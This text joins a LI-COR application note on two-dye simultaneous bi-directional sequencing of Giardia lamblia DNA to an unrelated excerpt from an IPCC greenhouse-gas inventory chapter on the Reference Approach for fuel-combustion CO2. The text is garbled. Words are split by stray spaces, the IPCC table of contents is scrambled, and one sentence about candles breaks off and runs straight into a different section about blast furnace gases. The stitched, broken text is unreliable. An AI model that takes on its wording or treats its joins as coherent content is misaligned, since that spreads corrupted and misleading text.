BiotechnologyAppl. Note #491»More ApplicationNotesRandom Genomics Using LI-COR's Model 4200 IR2 SystemHilary G. Morrison and Mitchell L. SoginBay Paul Center for Comparative Molecular Biology and Evolution The Marine Biological Laboratory, Woods Hole, MA.LI-COR sequencers can routinely provide 800-1100 nucleotide, one-pass reads with accuracy levels better than 99% on single and double-stranded DNA templates. These instruments produce long nucleotide reads through the use of a focusing microscope m ounted on a scanning laser to detect near-infrared fluorescence labeled products from DNA sequencing reactions. The number of nucleotides determined from a set of four lanes is a function of the quality of DNA tem plate and the length of the gel used to resolve the reaction products. The high accuracy levels are, in part, attributable to the use of the four-lane sequencing strategy. Since raw data are de-convoluted (fluorescent labeled reaction products for each of the dideoxy-nucleotide chain terminations are electrophoresed in separate lanes) spectral overlap leading to incorrect or am biguous base calls does not occur. The four lane presentation format also permits the rapid review and editing of sequence reads; however, this format allows the analysis of fewer reactions on a single gel.A recent innovation is the LI-COR 4200 IR2 system that can detect primer labeled extension products of sequencing reactions at two different wavelengths. Coupled with the developm ent of the dyes IRD700 and the previously described IRD41, two DNA sequence ladders can be simultaneously electrophoresed and analyzed on the LI-COR 4200 IR2 in a single set of gel lanes. The two-dye system doubles the number of sequencing reactions that can be loaded. Since there is no spectraloverlap between IRD700 and IRD41, the LI-COR 4200 IR2 system provides high quality data com parable to that of the LI-COR 4000 using IRD41-labeled primers. As part of an effort to increase throughput using LI-COR technology, we evaluated the 4200 IR2 system using double stranded DNA tem plates from a Giardia lamblia genomic DNA library. One of our research objectives is to employ a random sequencing strategy to obtain m ost (98-99%) of the sequence information from the 12 Mb G. lamblia genome with a high level of post-editing accuracy (>99.8%). The ability to form contigs using a random sequencing strategy is dram atically enhanced by sequence reads longer than the 500-600 nucleotides commonly obtained on other system s. In this Application Note, we report m ethods that take advantage of rapid tem plate production protocols for generating accurate sequence ladders with LI-COR's Simultaneous Bi-directional Sequencing (SBS) procedures (Roemer et. al.1997).Two strategies are available for simultaneous analysis of two DNA sequence ladders on the LI-COR 4200 IR2 instrum ent. The first is to prepare separate DNA sequencing reactions with either the IRD41 or IRD700 dye labeled primers. Subsequent to cycle sequencing, products for each of the four differentdideoxy-terminator reactions are multiplexed in one of four lanes. Since there is no spectral overlap between the dye-labeled products, the LI-COR 4200 IR2 detects sequencing ladders from the two reaction sets of reactions in parallel. The second approach is to prim e DNA sequencing reactions with IRD41 and IRD700 labeled primers that anneal to different sites on the plus and minus strands ofdouble-stranded templates. This SBS protocol (Figure 1) permits the sim ultaneous preparation of cycle sequencing reactions on the sam e double-stranded template using different primer sites. Three advantages are inherent with this strategy: 1) twice as m any reactions can be analyzed, 2) each cycle sequencing reaction tube permits the simultaneous analysis of two DNA sequences, hence a two-fold reduction in consum able supplies, and 3) both ends of the sam e double-stranded DNA template are read in a single set of lanes, ensuring that each primary DNA sequence read is associated with its opposite strand read.MethodsAll of the clones used in this study contained 3-5 kb G. lamblia DNA inserts in the plasmid vector pBluescript. Random clones were grown in 1.2 ml of LB/ampicillin medium in a 96-well BioBlock (2 ml deep wells in 8 by 12 microtiter plate form at) overnight with rapid shaking. The plate was centrifuged at 3000 rpm in a Sorvall SH-3000 rotor. The Qiagen REAL-96 protocol was followed according to the manufacturer's instructions with the exclusion of the heating step. When possible, 8-channel pipetters facilitated transfer of liquids. Cell lysates were clarified using a vacuum m anifold rather than centrifugation. DNA was resuspended in 50 µl 1 mM Tris pH 8.3 and 5 µl were digested with EcoRI and electrophoresed through a 1% agarose gel stained with EtBr to estim ate yield and insert size. The yield was generally 5-10 µg and we used up to 1.5 µg in sequencing reactions. Only 3 of 60tem plates prepared in this fashion failed to yield sufficient DNA for sequencing. Sequence analysis of these 60 clones revealed that only one lacked an insert even though 34% of the clones were blue when streaked onto m edium containing X-gal and IPT G.Figure 1. Simultaneous Bi-directionalSequencing (SBS): The schem e shows adideoxyadenosine (ddA) chain terminationreaction using LI-COR's SBS protocols. Oneprimer is labeled with IRD700 and the otherwith IRD41 dye. The primers are used in thesam e sequencing reaction with adouble-stranded DNA tem plate.Corresponding sequencing reactions areprepared for ddC, ddG and ddT and each setof SBS reactions are electrophoresed in fourlanes. The LI-COR Model 4200 sequencer hastwo channels which differentially detect theIRD41 and IRD700 dyes. The sequencerproduces two fully resolved gel imagescorresponding to reactions primed withIRD700 or IRD41 labeled oligonucleotides.These im ages are interpreted using LI-COR'sautom ated base-calling algorithms.The SBS reactions were prepared in 96-well format (m aximum of 24 reactions) in 8-well strip tubes. All reactions contained fixed volumes of tem plate (5-7 µl), equimolar amounts (1 pm ol) of IRD41- and IRD700-labeled primers, and water to a final volume of 18 µl. Reactions contained either SequiTherm enzyme and buffer or EXCEL II and EXCEL II buffers A and B according to the m anufacturer'srecommendations (Epicentre Technologies). The reactions were dispensed into strip tubes containing the term ination solutions with an 8-channel micropipetter and briefly centrifuged to bring all com ponents to the bottom of the tube. Rather than using mineral oil, sample evaporation was minimized by tight seals afforded by Perkin Elmer Micro-Am p tubes. Reactions containing SequiTherm were initially denatured for 3 minutes at 94 °C and then cycled for 30 sec. each at 94 °C, 50 °C, and 70 °C (30 cycles). EXCEL II reactions were initially denatured for 5 minutes at 95 °C and then cycled for 30 sec. at 95 °C, 15 sec. at 50 °C, and 1 min. at 70 °C (30 cycles). All reactions were done in an Ericomp Twin-Block thermocycler.ResultsRegardless of sequencing m ethodologies employed, the quality of DNA templates affects the accuracy and length of DNA sequencing reactions. Qiagen midi-preps and PEG-precipitated boiling minipreps produce excellent tem plates for obtaining reads as long as 1100 nucleotides on both the LI-COR 4000 and the 4200 IR2 sequencers. Qiagen midi-preps are expensive relative to the m ore labor intensive boiling mini-preparations. An alternative is the use of Qiagen REAL (Rapid Extraction and Alkaline Lysis) protocols. By taking advantage of eight channel pipetters and vacuum manifolds, we can rapidly prepare 96 REAL templates. Unfortunately the REAL tem plates are not as good in SequiTherm mediated cycle sequencing reactions as boiling or Qiagen midi-column purified DNA, as judged by an unacceptable number of am biguities in SBS ladders.In an effort to resolve am biguities in SBS analyses of DNA tem plates produced by Qiagen's REAL tem plate procedures, we explored the use of Epicentre Technologies EXCEL II kits. The results in Figure 2 show a dramatic reduction in ambiguities when EXCEL II is employed. The arrows point to am biguities in Sequitherm mediated reactions that are fully resolved by EXCEL II. Table I summarizes relative levels of am biguous bases in SequiTherm versus EXCEL II mediated SBS protocols in both the 700 and 800 channels.These results are based upon average read lengths of 950 nucleotides.Figure 2. (60 Kb) Comparison of SequiTherm and EXCEL II reactions. Figure at top shows data in im age format, and figure at bottom shows data in SCF curve form at. Arrows indicate am biguous base calls in SequiTherm reaction. Figure 3A (46Kb) (positions 1-350) and Figure 3B (44Kb) (positions 350-700) show ~700 base pairs of a 66 cm gel (4% Long Ranger, 1X TBE) that is typical of SBS ladders generatedwith EXCEL-II. We routinely obtain read lengths of 900-1000 base pairs after editing. There is virtually no spectral overlap between the 700 and 800 channels. A typical 66 cm gel yields approximately 22,000 bases with an expected accuracy of greater than 99%. We have found no consistent differences in total read length or accuracy using different pairs of vector primers. We use T3 and T7 when possible simply because these primer binding sites are closest to the EcoRI cloning site and thus generate a slightly longer read than the M13 primers.ConclusionsPlasmid templates suitable for long reads in LI-COR's SBS reactions can be inexpensively prepared using Qiagen's REAL kit. Accurate, long reads can be obtained if EXCEL-II is used to m ediate the sequencing reactions. The SBS protocol may be used routinely with various com binations of IRD41 and IRD700 labeled vector primers without any spectral overlap between channels. Using REAL protocols and 8-channel pipetters, it takes only two hours for one person to prepare 96 tem plates. These provide m aterial for sufficient sequencing reactions to fill aLI-COR 4200 dual Long Read sequencer for one week and produce nearly 200 Kb of high quality sequence data.。

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AuthorsKaren Treanton (IEA)Francis Ibitoye (Nigeria), Kazunari Kainou (Japan), Jos G. J. Olivier (Netherlands), Jan Pretel (Czech Republic), Timothy Simmons (UK), and Hongwei Yang (China)Contributing AuthorRoberta Quadrelli (IEA)ContentsApproach6 Reference6.1 Overview...............................................................................................................................................6.5categories covered.....................................................................................................................6.5 6.2 Source6.3 Algorithm..............................................................................................................................................6.5 6.4 Activity data..........................................................................................................................................6.6consumption..................................................................................................................6.66.4.1 Apparentto energy units............................................................................................................6.76.4.2 Conversioncontent......................................................................................................................................6.7 6.5 Carbon6.6 Excluded carbon....................................................................................................................................6.76.6.1 Feedstock.......................................................................................................................................6.86.6.2 Reductant.......................................................................................................................................6.96.6.3 Non-energy products use...............................................................................................................6.96.6.4 Method........................................................................................................................................6.10unoxidisedduring fuel combustion........................................................................................6.11 6.7 Carbon6.8Comparison between the Reference Approach and a Sectoral Approach...........................................6.11 6.9Data sources........................................................................................................................................6.13 6.10Uncertainties.......................................................................................................................................6.136.10.1 Activity data................................................................................................................................6.136.10.2 Carbon content and net calorific values......................................................................................6.136.10.3 Oxidation factors.........................................................................................................................6.14 References .....................................................................................................................................................6.14EquationsEquation 6.1 CO2 emissions from fuel combustion using the Reference Approach...................................6.5 Equation 6.2 Apparent consumption of primary fuel..................................................................................6.6 Equation 6.3 Apparent consumption of secondary fuel..............................................................................6.7 Equation 6.4 Carbon excluded from fuel combustion emissions..............................................................6.10FigureFigure 6.1 Reference Approach versus sectoral approach....................................................................6.12TablesTable 6.1 Products used as feedstocks, reductants and for non-energy purposes..................................6.8 Table 6.2 Activity data for excluded carbon flows..............................................................................6.116.6.2 ReductantCOKE OVEN COKE AND PETROLEUM COKECokes manufactured from coals and oil products may be used for fuel combustion or industrial processes, most notably in the iron and steel and non-ferrous metals industries. When used as a reductant in industrial processes the coke is heated with inorganic oxides and reduces them carrying away the oxygen in the carbon monoxide and dioxide. The ‘off gases' so produced may be combusted on site to help heat the process or combusted elsewhere in another source category. In the latter case, the emissions are reported as fuel combustion. Section 1.2 of the Introduction chapter of this Volume provides guidance on the principles of the reporting. However, as data for this activity are not always readily available and, in order to preserve the simplicity of the Reference Approach, quantities of coke delivered for the iron and steel and non-ferrous metals industries should be excluded from total carbon. The effect of this will be reflected as a difference between the Reference Approach and Sectoral Approach when the comparison is made. See Section 6.8.COAL AND COAL TAR/PITCHPulverised coal may be injected into blast furnaces as a reductant and coal is similarly used as a reductant in some titanium dioxide manufacturing processes. The carbon will largely enter the by-product gases associated with the processes and the emissions covered under the activity where the gases are burned. For the pulverised coal this will be mainly within the iron and steel industry and reported under IPPU. Only where some blast furnace gas is transferred to another industry as fuel will the emissions be classified as Energy sector and the portion of the emissions attributable to the pulverised coal and other injected hydrocarbons will be very small. The distillation of coal in coke ovens to produce coke leads to the production of tars and light oils recovered from coke oven gas. The light oils include benzene, toluene, xylene and non-aromatics as well as lesser amounts of other chemicals. Tars include naphthalene, anthracene, and pitch. The light oils are valuable as solvents and as basic chemicals. The related emissions are assumed covered under IPPU.Pitches are often used as binders for anode production. Heavier oils associated with pitches may be used for dyestuffs, wood preservatives or in road oils for asphalt laying. All of these activities are covered under IPPU and their related emissions are excluded from fuel combustion.If there are coke manufacturing plants where the oils or tars are burned for heat raising, it is suggested that any instances of this activity in a country be taken into account to explain differences between the Reference Approach and a Sectoral Approach when the reconciliation is made.NATURAL GASIn some iron and steel plants natural gas may be injected into blast furnaces as a reductant in the iron making process. The classification of the emissions related to the injection of gas is identical to that made for pulverised coal discussed above and these amounts should be excluded.useproducts6.6.3 Non-energyBITUMENBitumen/asphalt is used for road paving and roof covering where the carbon it contains remains stored for long periods of time. Consequently, there are no fuel combustion emissions arising from the deliveries of bitumen within the year of the inventory.LUBRICANTSLubricating oil statistics usually cover not only use of lubricants in engines but also oils and greases for industrial purposes and heat transfer and cutting oils. All deliveries of lubricating oil should be excluded from the Reference Approach. This avoids a potential double count of emissions from combustion of waste lubricants covered in the Reference Approach under “other fossil fuels” but ignores the inclusion of emissions from lubricants in two-stroke engines. See the discussion under ‘Simplifications in the Reference Approach’ in Section 6.8.PARAFFIN (PETROLEUM) WAXESAll quantities of paraffin waxes are excluded from the Reference Approach. Within the many uses for paraffin waxes there are two main uses which lead to fuel combustion as defined in Section 1.2. These are the burning of candles in heating or warming devices (for example, chafing dishes) and the incineration of wax-coated materials amongst other waste in municipal waste plants with heat recovery. Use of candles for lighting isengines, blast furnace and other by-product gases which are used for fuel combustion outside their source category of production and combustion of waxed products in waste plants with heat recovery. On the other hand, there are flows of carbon which should be excluded from the Reference Approach but for reasons similar to the above no practical means can be found to exclude them without over complicating the calculations. These include coals and other hydrocarbons injected into blast furnaces as well as cokes used as reductants in the manufacture of inorganic chemicals. The effects of these simplifications will be seen in the discrepancy between the Reference Approach and a Sectoral Approach and if data are available, their magnitudes can be estimated.•Missing information on stock changes that may occur at the final consumer level. The relevance of consumer stocks depends on the method used for the Sectoral Approach. If delivery figures are being used (this is often the case) then changes in consumers’ stocks are irrelevant. If, however, the Sectoral Approach is using actual consumption of the fuel, then this could cause either an overestimation or an underestimation of the Reference Approach.•High distribution losses for gas will cause the Reference Approach to be higher than the Sectoral Approach, •Unrecorded consumption of gas or other fuels may lead to an underestimation of the Sectoral Approach. •The treatment of transfers and reclassifications of energy products may cause a difference in the Sectoral Approach estimation since different net calorific values and emission factors may be used depending on how the fuel is classified.•It should be noted that for countries that produce and export large amounts of fuel, the uncertainty on the residual supply may be significant and could affect the Reference Approach.6.9DATA SOURCESThe IPCC approach to the calculation of emission inventories encourages the use of fuel statistics collected by an officially recognised national body, as this is usually the most comprehensive and accessible source of activity data. In some countries, however, those charged with the task of compiling inventory information may not have ready access to the entire range of data available within their country and may wish to use data specially provided by their country to the international organisations whose policy functions require knowledge of energy supply and use in the world. There are, currently, two main sources of international energy statistics: the International Energy Agency (IEA), and the United Nations (UN). Information on international data sources is given in the Introduction chapter of the Energy Volume (Section 1.4.1.3).6.10UNCERTAINTIESIf the Reference Approach is the primary accounting method for the CO2 from fuel combustion, then it is good practice t o carry out an uncertainty analysis.6.10.1 Activity dataOverall uncertainty in activity data is a combination of both systematic and random errors. Most developed countries prepare balances of fuel supply and this provides a check on systematic errors. In these circumstances, overall systematic errors are likely to be small. However, incomplete accounting may occur in places where individuals and small producers are extracting fossil fuel (generally coal) for their own use and it does not enter into the formal accounting system. However, experts believe that uncertainty resulting from errors in the activity data of countries with well-developed statistical systems is probably in the range of ±5% for a given fuel. For countries with less well-developed energy data systems, this could be considerably larger, probably about ±10% for a given fuel.6.10.2 Carbon content and net calorific valuesThe uncertainty associated with the carbon content and the net calorific values results from two main elements, the accuracy with which the values are measured, and the variability in the source of supply of the fuel and quality of the sampling of available supplies. Consequently, the errors can be considered mainly random. The uncertainty will result mostly from variability in the fuel composition. For traded fuels, the uncertainty is likely to be less than for non-traded fuels (see Tables 1.2 and 1.3).6.10.3 Oxidation factorsDefault uncertainty ranges are not available for oxidation factors. Uncertainties for oxidation factors may be developed based on information provided by large consumers on the completeness of combustion in the types of equipment they are using.ReferencesIPCC Good Practice Guidance and Uncertainty Management in National Greenhouse Gas Inventories (2000) Revised 1996 IPCC Guidelines for National Greenhouse Gas Inventories。